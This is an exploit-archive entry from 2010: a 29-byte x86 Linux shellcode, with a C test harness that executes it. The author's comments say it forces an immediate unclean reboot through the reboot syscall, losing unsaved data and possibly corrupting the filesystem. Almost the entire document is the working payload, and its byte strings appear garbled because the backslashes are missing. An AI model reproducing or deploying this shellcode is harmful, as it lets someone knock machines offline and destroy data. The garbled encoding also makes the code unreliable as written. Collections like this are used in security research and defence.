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# Title : x86 linux hard / unclean reboot (29 bytes)
# Published : 2010-06-03
# Author : gunslinger_
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1 ____/ >> Exploit database separated by exploit 0
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Title : hard reboot (without any message) and data will be lost shellcode
Name : 29 bytes hard / unclean reboot with data will be lost x86 linux shellcode
Date : Thu Jun 3 12:56:45 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck and fsck is failed (run fsck manually as root)
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"x31xc0" /* xor %eax,%eax */
"xb0x58" /* mov $0x58,%al */
"xbbxadxdexe1xfe" /* mov $0xfee1dead,%ebx */
"xb9x69x19x12x28" /* mov $0x28121969,%ecx */
"xbax67x45x23x01" /* mov $0x1234567,%edx */
"xcdx80" /* int $0x80 */
"x31xc0" /* xor %eax,%eax */
"xb0x01" /* mov $0x1,%al */
"x31xdb" /* xor %ebx,%ebx */
"xcdx80"; /* int $0x80 */
int main(void)
{
fprintf(stdout,"Length: %dn",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}